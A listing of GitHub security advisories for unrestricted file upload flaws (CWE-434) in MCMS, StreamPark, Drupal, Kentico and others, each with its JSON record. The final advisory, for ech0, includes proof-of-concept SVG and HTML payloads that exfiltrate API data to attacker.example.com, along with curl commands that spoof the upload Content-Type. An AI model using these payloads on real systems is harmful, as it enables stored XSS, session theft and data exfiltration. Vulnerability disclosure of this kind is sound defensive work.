CWE-434
AllowedUnrestricted Upload of File with Dangerous Type
Abstraction: Base · Status: Draft
The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.
6004 vulnerabilities reference this CWE, most recent first.
GHSA-67QH-39H4-8P22
Vulnerability from github – Published: 2024-09-03 18:31 – Updated: 2024-09-03 18:31MCMS v5.4.1 has front-end file upload vulnerability which can lead to remote command execution.
{
"affected": [],
"aliases": [
"CVE-2024-42991"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-03T16:15:06Z",
"severity": "HIGH"
},
"details": "MCMS v5.4.1 has front-end file upload vulnerability which can lead to remote command execution.",
"id": "GHSA-67qh-39h4-8p22",
"modified": "2024-09-03T18:31:32Z",
"published": "2024-09-03T18:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-42991"
},
{
"type": "WEB",
"url": "https://gitee.com/mingSoft/MCMS/issues/IAHN9F"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6874-289G-F7H7
Vulnerability from github – Published: 2023-07-06 19:24 – Updated: 2024-10-21 19:06Streampark allows any users to upload a jar as application, but there is no mandatory verification of the uploaded file type. This means users may upload some high-risk files, and may upload them to any directory. Users of the affected versions should upgrade to Apache StreamPark 2.0.0 or later.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.streampark:streampark-common_2.12"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.streampark:streampark-common_2.11"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-45802"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-434"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-06T23:01:29Z",
"nvd_published_at": "2023-05-01T15:15:08Z",
"severity": "CRITICAL"
},
"details": "Streampark allows any users to upload a jar as application, but there is no mandatory verification of the uploaded file type. This means users may upload some high-risk files, and may upload them to any directory.\u00a0Users of the affected versions should upgrade to Apache StreamPark 2.0.0 or later.",
"id": "GHSA-6874-289g-f7h7",
"modified": "2024-10-21T19:06:39Z",
"published": "2023-07-06T19:24:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45802"
},
{
"type": "WEB",
"url": "https://github.com/apache/incubator-streampark/commit/0c87c6d8cf39ef2c31c1dea1a7df23d76f5e1236"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/incubator-streampark"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/thwl1v2h6r3c21x1qwff08o57qzjnst6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Apache StreamPark Path Traversal vulnerability"
}
GHSA-68C2-5PX3-XG5X
Vulnerability from github – Published: 2024-03-16 21:30 – Updated: 2024-03-16 21:30A vulnerability was found in MAGESH-K21 Online-College-Event-Hall-Reservation-System 1.0. It has been declared as critical. This vulnerability affects unknown code of the file /admin/rooms.php. The manipulation leads to unrestricted upload. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-256966 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2024-2529"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-16T20:15:06Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in MAGESH-K21 Online-College-Event-Hall-Reservation-System 1.0. It has been declared as critical. This vulnerability affects unknown code of the file /admin/rooms.php. The manipulation leads to unrestricted upload. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-256966 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-68c2-5px3-xg5x",
"modified": "2024-03-16T21:30:45Z",
"published": "2024-03-16T21:30:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2529"
},
{
"type": "WEB",
"url": "https://github.com/skid-nochizplz/skid-nochizplz/blob/main/TrashBin/CVE/MAGESH-K21%20%20Online-College-Event-Hall-Reservation-System/Arbitrary%20File%20Upload%20-%20rooms.php.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.256966"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.256966"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-68FC-7CX8-5RMC
Vulnerability from github – Published: 2025-07-12 06:30 – Updated: 2025-07-12 06:30The WPBookit plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the handle_image_upload() function in all versions up to, and including, 1.0.4. This makes it possible for authenticated attackers, with Subscriber-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.
{
"affected": [],
"aliases": [
"CVE-2025-6057"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-12T05:15:21Z",
"severity": "HIGH"
},
"details": "The WPBookit plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the handle_image_upload() function in all versions up to, and including, 1.0.4. This makes it possible for authenticated attackers, with Subscriber-level access and above, to upload arbitrary files on the affected site\u0027s server which may make remote code execution possible.",
"id": "GHSA-68fc-7cx8-5rmc",
"modified": "2025-07-12T06:30:23Z",
"published": "2025-07-12T06:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6057"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wpbookit/trunk/core/admin/classes/controllers/class.wpb-profile-controller.php#L85"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3326098%40wpbookit\u0026new=3326098%40wpbookit\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/wpbookit"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/fac81cc0-c6c9-4009-aacb-52adc70c0261?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-68G4-F9X4-95F2
Vulnerability from github – Published: 2023-11-03 09:32 – Updated: 2023-11-03 09:32Galaxy Software Services Corporation Vitals ESP is an online knowledge base management portal, it has insufficient filtering and validation during file upload. An authenticated remote attacker with general user privilege can exploit this vulnerability to upload and execute scripts onto arbitrary directories to perform arbitrary system operations or disrupt service.
{
"affected": [],
"aliases": [
"CVE-2023-41357"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-03T07:15:14Z",
"severity": "HIGH"
},
"details": "Galaxy Software Services Corporation Vitals ESP is an online knowledge base management portal, it has insufficient filtering and validation during file upload. An authenticated remote attacker with general user privilege can exploit this vulnerability to upload and execute scripts onto arbitrary directories to perform arbitrary system operations or disrupt service.",
"id": "GHSA-68g4-f9x4-95f2",
"modified": "2023-11-03T09:32:49Z",
"published": "2023-11-03T09:32:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41357"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-7508-6d1ef-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-68G6-84FP-8HF9
Vulnerability from github – Published: 2025-10-20 06:30 – Updated: 2025-11-12 18:31Document Management System developed by Excellent Infotek has an Arbitrary File Upload vulnerability, allowing unauthenticated remote attackers to upload and execute web shell backdoors, thereby enabling arbitrary code execution on the server.
{
"affected": [],
"aliases": [
"CVE-2025-11948"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-20T04:15:36Z",
"severity": "CRITICAL"
},
"details": "Document Management System developed by Excellent Infotek has an Arbitrary File Upload vulnerability, allowing unauthenticated remote attackers to upload and execute web shell backdoors, thereby enabling arbitrary code execution on the server.",
"id": "GHSA-68g6-84fp-8hf9",
"modified": "2025-11-12T18:31:04Z",
"published": "2025-10-20T06:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11948"
},
{
"type": "WEB",
"url": "https://www.chtsecurity.com/news/3575ad9c-31f4-49de-8bc4-de85bb2eed39"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/en/cp-139-10453-43e63-2.html"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-10452-72cb6-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-68JC-V27H-VHMW
Vulnerability from github – Published: 2021-10-12 16:28 – Updated: 2025-10-22 17:59Drupal core does not properly sanitize certain filenames on uploaded files, which can lead to files being interpreted as the incorrect extension and served as the wrong MIME type or executed as PHP for certain hosting configurations. This issue affects: Drupal Drupal Core 9.0 versions prior to 9.0.8, 8.9 versions prior to 8.9.9, 8.8 versions prior to 8.8.11, and 7 versions prior to 7.74.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core"
},
"ranges": [
{
"events": [
{
"introduced": "8.9.0"
},
{
"fixed": "8.9.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.8.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.74"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/drupal"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.74"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/drupal"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.8.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/drupal"
},
"ranges": [
{
"events": [
{
"introduced": "8.9.0"
},
{
"fixed": "8.9.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/drupal"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-13671"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": true,
"github_reviewed_at": "2021-10-08T22:20:20Z",
"nvd_published_at": "2020-11-20T16:15:00Z",
"severity": "HIGH"
},
"details": "Drupal core does not properly sanitize certain filenames on uploaded files, which can lead to files being interpreted as the incorrect extension and served as the wrong MIME type or executed as PHP for certain hosting configurations. This issue affects: Drupal Drupal Core 9.0 versions prior to 9.0.8, 8.9 versions prior to 8.9.9, 8.8 versions prior to 8.8.11, and 7 versions prior to 7.74.",
"id": "GHSA-68jc-v27h-vhmw",
"modified": "2025-10-22T17:59:37Z",
"published": "2021-10-12T16:28:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-13671"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/drupal/core/CVE-2020-13671.yaml"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/drupal/drupal/CVE-2020-13671.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/drupal/core"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/5KSFM672XW3X6BR7TVKRD63SLZGKK437"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/KWM4CTMEGAC4I2CHYNJVSROY4CVXVEUT"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5KSFM672XW3X6BR7TVKRD63SLZGKK437"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/KWM4CTMEGAC4I2CHYNJVSROY4CVXVEUT"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-13671"
},
{
"type": "WEB",
"url": "https://www.drupal.org/sa-core-2020-012"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:H",
"type": "CVSS_V3"
}
],
"summary": "Drupal core Unrestricted Upload of File with Dangerous Type"
}
GHSA-68WV-W7JQ-FXVC
Vulnerability from github – Published: 2022-05-14 01:10 – Updated: 2022-05-14 01:10Kentico CMS before 11.0.45 allows unrestricted upload of a file with a dangerous type.
{
"affected": [],
"aliases": [
"CVE-2018-19453"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-04-10T21:29:00Z",
"severity": "HIGH"
},
"details": "Kentico CMS before 11.0.45 allows unrestricted upload of a file with a dangerous type.",
"id": "GHSA-68wv-w7jq-fxvc",
"modified": "2022-05-14T01:10:58Z",
"published": "2022-05-14T01:10:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-19453"
},
{
"type": "WEB",
"url": "https://blog.hivint.com/advisory-upload-malicious-file-in-kentico-cms-cve-2018-19453-36debbf85216"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-6955-67HM-VJJQ
Vulnerability from github – Published: 2022-08-06 09:33 – Updated: 2023-05-10 00:36Drupal core sanitizes filenames with dangerous extensions upon upload and strips leading and trailing dots from filenames to prevent uploading server configuration files.
However, the protections for these two vulnerabilities previously did not work correctly together. As a result, if the site were configured to allow the upload of files with an htaccess extension, these files' filenames would not be properly sanitized. This could allow bypassing the protections provided by Drupal core's default .htaccess files and possible remote code execution on Apache web servers.
This issue is mitigated by the fact that it requires a field administrator to explicitly configure a file field to allow htaccess as an extension (a restricted permission), or a contributed module or custom code that overrides allowed file uploads.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "9.3.19"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "drupal/core"
},
"ranges": [
{
"events": [
{
"introduced": "9.4.0"
},
{
"fixed": "9.4.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-25277"
],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": true,
"github_reviewed_at": "2022-08-06T09:33:38Z",
"nvd_published_at": "2023-04-26T15:15:08Z",
"severity": "HIGH"
},
"details": "Drupal core sanitizes filenames with dangerous extensions upon upload and strips leading and trailing dots from filenames to prevent uploading server configuration files.\n\nHowever, the protections for these two vulnerabilities previously did not work correctly together. As a result, if the site were configured to allow the upload of files with an htaccess extension, these files\u0027 filenames would not be properly sanitized. This could allow bypassing the protections provided by Drupal core\u0027s default .htaccess files and possible remote code execution on Apache web servers.\n\nThis issue is mitigated by the fact that it requires a field administrator to explicitly configure a file field to allow htaccess as an extension (a restricted permission), or a contributed module or custom code that overrides allowed file uploads.",
"id": "GHSA-6955-67hm-vjjq",
"modified": "2023-05-10T00:36:31Z",
"published": "2022-08-06T09:33:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25277"
},
{
"type": "WEB",
"url": "https://github.com/drupal/core/commit/1cd1830d79f221cc8490f53c2bb487dd07094f17"
},
{
"type": "WEB",
"url": "https://github.com/drupal/core/commit/5d464ea4407c50e40dcf6cb5ee376e7b8dd36f3a"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/drupal/core/CVE-2022-25277.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/drupal/core"
},
{
"type": "WEB",
"url": "https://www.drupal.org/sa-core-2022-014"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Drupal core arbitrary PHP code execution"
}
GHSA-69HX-63PV-F8F4
Vulnerability from github – Published: 2026-04-10 19:50 – Updated: 2026-04-10 19:50Summary
The file upload endpoint validates Content-Type using only the client-supplied multipart header, with no server-side content inspection or file extension validation. Combined with an unauthenticated static file server that determines Content-Type from file extension, this allows an admin to upload HTML/SVG files containing JavaScript that execute in the application's origin when visited by any user. Additionally, image/svg+xml is in the default allowed types, enabling stored XSS via SVG without any Content-Type spoofing.
Details
The upload handler at internal/service/file/file.go:85-87 validates file type using only the multipart Content-Type header:
contentType := file.Header.Get("Content-Type") // client-controlled
if !isAllowedType(contentType, config.Config().Upload.AllowedTypes) {
return commonModel.FileDto{}, errors.New(commonModel.FILE_TYPE_NOT_ALLOWED)
}
isAllowedType at file.go:836-843 performs exact string matching — no magic byte detection, no extension validation:
func isAllowedType(contentType string, allowedTypes []string) bool {
for _, allowed := range allowedTypes {
if contentType == allowed {
return true
}
}
return false
}
The original file extension is preserved in the storage key by RandomKeyGenerator at internal/storage/keygen.go:41:
ext := strings.ToLower(filepath.Ext(strings.TrimSpace(originalFilename)))
All locally stored files are served publicly without authentication at internal/router/modules.go:51:
ctx.Engine.Static("api/files", root)
This gin.Static call is registered directly on the engine, outside any authentication middleware group. Go's http.ServeFile (used internally by gin.Static) determines the response Content-Type using mime.TypeByExtension, so .html files are served as text/html and .svg files as image/svg+xml.
No X-Content-Type-Options: nosniff or Content-Security-Policy headers are set (verified in internal/router/middleware.go).
Variant 1 — SVG XSS (no spoofing needed): image/svg+xml is in the default AllowedTypes at internal/config/config.go:241. SVG files can contain <script> tags and event handlers. The VireFS schema routes .svg to images/ (internal/storage/schema.go:10). Uploaded SVGs are publicly accessible at /api/files/images/<key>.svg and JavaScript within them executes in the application's origin.
Variant 2 — Content-Type spoofing: Upload an .html file with a forged multipart Content-Type: image/jpeg. The allowlist check passes (image/jpeg is allowed). The .html extension is preserved. The VireFS schema routes unknown extensions to files/ (schema.go:14). The file is served at /api/files/files/<key>.html as text/html.
PoC
Variant 1 — SVG XSS (simplest, default config):
# 1. Create SVG with embedded JavaScript
cat > evil.svg << 'SVGEOF'
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<script>
// Steal cookies and redirect to attacker
fetch('/api/echo/page')
.then(r => r.json())
.then(d => {
new Image().src = 'https://attacker.example.com/collect?data=' + btoa(JSON.stringify(d));
});
</script>
<circle cx="50" cy="50" r="40" fill="red"/>
</svg>
SVGEOF
# 2. Upload as admin (image/svg+xml is default-allowed, no spoofing needed)
curl -X POST http://target:1024/api/files/upload \
-H 'Authorization: Bearer <admin-jwt>' \
-F 'file=@evil.svg;type=image/svg+xml' \
-F 'category=image' \
-F 'storage_type=local'
# Response includes the storage key, e.g.: images/<uid>_<ts>_<rand>.svg
# 3. Access without authentication — JavaScript executes in application origin:
# GET http://target:1024/api/files/images/<uid>_<ts>_<rand>.svg
Variant 2 — Content-Type bypass with HTML:
# 1. Create HTML with JavaScript
cat > evil.html << 'HTMLEOF'
<html><body>
<script>
document.write('<h1>XSS in ' + document.domain + '</h1>');
// Exfiltrate data from same-origin API
fetch('/api/echo/page').then(r=>r.json()).then(d=>{
new Image().src='https://attacker.example.com/?d='+btoa(JSON.stringify(d));
});
</script>
</body></html>
HTMLEOF
# 2. Upload with spoofed Content-Type
curl -X POST http://target:1024/api/files/upload \
-H 'Authorization: Bearer <admin-jwt>' \
-F 'file=@evil.html;type=image/jpeg' \
-F 'category=image' \
-F 'storage_type=local'
# 3. Access without authentication — renders as text/html:
# GET http://target:1024/api/files/files/<uid>_<ts>_<rand>.html
Impact
- Stored XSS in the application origin: JavaScript executes in the context of the Ech0 application domain when any user visits the file URL directly.
- Session hijacking: Attacker script can access same-origin cookies and API endpoints, enabling theft of admin session tokens.
- Persistent backdoor: The malicious file remains on the unauthenticated static server even after the compromised admin account is secured or its credentials are rotated.
- Data exfiltration: JavaScript running in the application origin can call internal API endpoints (e.g.,
/api/echo/page) and exfiltrate application data. - Social engineering vector: An admin (or attacker with admin credentials) plants the file; any user tricked into clicking the link is compromised.
The admin-required upload limits initial access, but the persistent nature of the stored XSS and the unauthenticated static serving create a meaningful attack surface, particularly in multi-admin deployments or after admin account compromise.
Recommended Fix
1. Validate Content-Type server-side using magic bytes (internal/service/file/file.go):
import "net/http"
// Replace client-controlled Content-Type with server-detected type
func detectContentType(file multipart.File) (string, error) {
buf := make([]byte, 512)
n, err := file.Read(buf)
if err != nil && err != io.EOF {
return "", err
}
if _, err := file.Seek(0, io.SeekStart); err != nil {
return "", err
}
return http.DetectContentType(buf[:n]), nil
}
2. Remove image/svg+xml from default AllowedTypes or sanitize SVGs to strip <script> tags and event handlers before storage.
3. Add security headers in internal/router/middleware.go:
func SecurityHeaders() gin.HandlerFunc {
return func(c *gin.Context) {
c.Header("X-Content-Type-Options", "nosniff")
c.Header("Content-Security-Policy", "default-src 'self'; script-src 'self'")
c.Next()
}
}
4. Serve uploaded files with Content-Disposition: attachment or from a separate origin/subdomain to isolate them from the application's cookie scope.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/lin-snow/ech0"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.4.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-434"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T19:50:01Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe file upload endpoint validates Content-Type using only the client-supplied multipart header, with no server-side content inspection or file extension validation. Combined with an unauthenticated static file server that determines Content-Type from file extension, this allows an admin to upload HTML/SVG files containing JavaScript that execute in the application\u0027s origin when visited by any user. Additionally, `image/svg+xml` is in the default allowed types, enabling stored XSS via SVG without any Content-Type spoofing.\n\n## Details\n\nThe upload handler at `internal/service/file/file.go:85-87` validates file type using only the multipart `Content-Type` header:\n\n```go\ncontentType := file.Header.Get(\"Content-Type\") // client-controlled\nif !isAllowedType(contentType, config.Config().Upload.AllowedTypes) {\n return commonModel.FileDto{}, errors.New(commonModel.FILE_TYPE_NOT_ALLOWED)\n}\n```\n\n`isAllowedType` at `file.go:836-843` performs exact string matching \u2014 no magic byte detection, no extension validation:\n\n```go\nfunc isAllowedType(contentType string, allowedTypes []string) bool {\n for _, allowed := range allowedTypes {\n if contentType == allowed {\n return true\n }\n }\n return false\n}\n```\n\nThe original file extension is preserved in the storage key by `RandomKeyGenerator` at `internal/storage/keygen.go:41`:\n\n```go\next := strings.ToLower(filepath.Ext(strings.TrimSpace(originalFilename)))\n```\n\nAll locally stored files are served publicly without authentication at `internal/router/modules.go:51`:\n\n```go\nctx.Engine.Static(\"api/files\", root)\n```\n\nThis `gin.Static` call is registered directly on the engine, outside any authentication middleware group. Go\u0027s `http.ServeFile` (used internally by `gin.Static`) determines the response `Content-Type` using `mime.TypeByExtension`, so `.html` files are served as `text/html` and `.svg` files as `image/svg+xml`.\n\nNo `X-Content-Type-Options: nosniff` or `Content-Security-Policy` headers are set (verified in `internal/router/middleware.go`).\n\n**Variant 1 \u2014 SVG XSS (no spoofing needed):** `image/svg+xml` is in the default `AllowedTypes` at `internal/config/config.go:241`. SVG files can contain `\u003cscript\u003e` tags and event handlers. The VireFS schema routes `.svg` to `images/` (`internal/storage/schema.go:10`). Uploaded SVGs are publicly accessible at `/api/files/images/\u003ckey\u003e.svg` and JavaScript within them executes in the application\u0027s origin.\n\n**Variant 2 \u2014 Content-Type spoofing:** Upload an `.html` file with a forged multipart `Content-Type: image/jpeg`. The allowlist check passes (image/jpeg is allowed). The `.html` extension is preserved. The VireFS schema routes unknown extensions to `files/` (`schema.go:14`). The file is served at `/api/files/files/\u003ckey\u003e.html` as `text/html`.\n\n## PoC\n\n**Variant 1 \u2014 SVG XSS (simplest, default config):**\n\n```bash\n# 1. Create SVG with embedded JavaScript\ncat \u003e evil.svg \u003c\u003c \u0027SVGEOF\u0027\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 100 100\"\u003e\n \u003cscript\u003e\n // Steal cookies and redirect to attacker\n fetch(\u0027/api/echo/page\u0027)\n .then(r =\u003e r.json())\n .then(d =\u003e {\n new Image().src = \u0027https://attacker.example.com/collect?data=\u0027 + btoa(JSON.stringify(d));\n });\n \u003c/script\u003e\n \u003ccircle cx=\"50\" cy=\"50\" r=\"40\" fill=\"red\"/\u003e\n\u003c/svg\u003e\nSVGEOF\n\n# 2. Upload as admin (image/svg+xml is default-allowed, no spoofing needed)\ncurl -X POST http://target:1024/api/files/upload \\\n -H \u0027Authorization: Bearer \u003cadmin-jwt\u003e\u0027 \\\n -F \u0027file=@evil.svg;type=image/svg+xml\u0027 \\\n -F \u0027category=image\u0027 \\\n -F \u0027storage_type=local\u0027\n\n# Response includes the storage key, e.g.: images/\u003cuid\u003e_\u003cts\u003e_\u003crand\u003e.svg\n# 3. Access without authentication \u2014 JavaScript executes in application origin:\n# GET http://target:1024/api/files/images/\u003cuid\u003e_\u003cts\u003e_\u003crand\u003e.svg\n```\n\n**Variant 2 \u2014 Content-Type bypass with HTML:**\n\n```bash\n# 1. Create HTML with JavaScript\ncat \u003e evil.html \u003c\u003c \u0027HTMLEOF\u0027\n\u003chtml\u003e\u003cbody\u003e\n\u003cscript\u003e\n document.write(\u0027\u003ch1\u003eXSS in \u0027 + document.domain + \u0027\u003c/h1\u003e\u0027);\n // Exfiltrate data from same-origin API\n fetch(\u0027/api/echo/page\u0027).then(r=\u003er.json()).then(d=\u003e{\n new Image().src=\u0027https://attacker.example.com/?d=\u0027+btoa(JSON.stringify(d));\n });\n\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\nHTMLEOF\n\n# 2. Upload with spoofed Content-Type\ncurl -X POST http://target:1024/api/files/upload \\\n -H \u0027Authorization: Bearer \u003cadmin-jwt\u003e\u0027 \\\n -F \u0027file=@evil.html;type=image/jpeg\u0027 \\\n -F \u0027category=image\u0027 \\\n -F \u0027storage_type=local\u0027\n\n# 3. Access without authentication \u2014 renders as text/html:\n# GET http://target:1024/api/files/files/\u003cuid\u003e_\u003cts\u003e_\u003crand\u003e.html\n```\n\n## Impact\n\n- **Stored XSS in the application origin**: JavaScript executes in the context of the Ech0 application domain when any user visits the file URL directly.\n- **Session hijacking**: Attacker script can access same-origin cookies and API endpoints, enabling theft of admin session tokens.\n- **Persistent backdoor**: The malicious file remains on the unauthenticated static server even after the compromised admin account is secured or its credentials are rotated.\n- **Data exfiltration**: JavaScript running in the application origin can call internal API endpoints (e.g., `/api/echo/page`) and exfiltrate application data.\n- **Social engineering vector**: An admin (or attacker with admin credentials) plants the file; any user tricked into clicking the link is compromised.\n\nThe admin-required upload limits initial access, but the persistent nature of the stored XSS and the unauthenticated static serving create a meaningful attack surface, particularly in multi-admin deployments or after admin account compromise.\n\n## Recommended Fix\n\n**1. Validate Content-Type server-side using magic bytes** (`internal/service/file/file.go`):\n\n```go\nimport \"net/http\"\n\n// Replace client-controlled Content-Type with server-detected type\nfunc detectContentType(file multipart.File) (string, error) {\n buf := make([]byte, 512)\n n, err := file.Read(buf)\n if err != nil \u0026\u0026 err != io.EOF {\n return \"\", err\n }\n if _, err := file.Seek(0, io.SeekStart); err != nil {\n return \"\", err\n }\n return http.DetectContentType(buf[:n]), nil\n}\n```\n\n**2. Remove `image/svg+xml` from default AllowedTypes** or 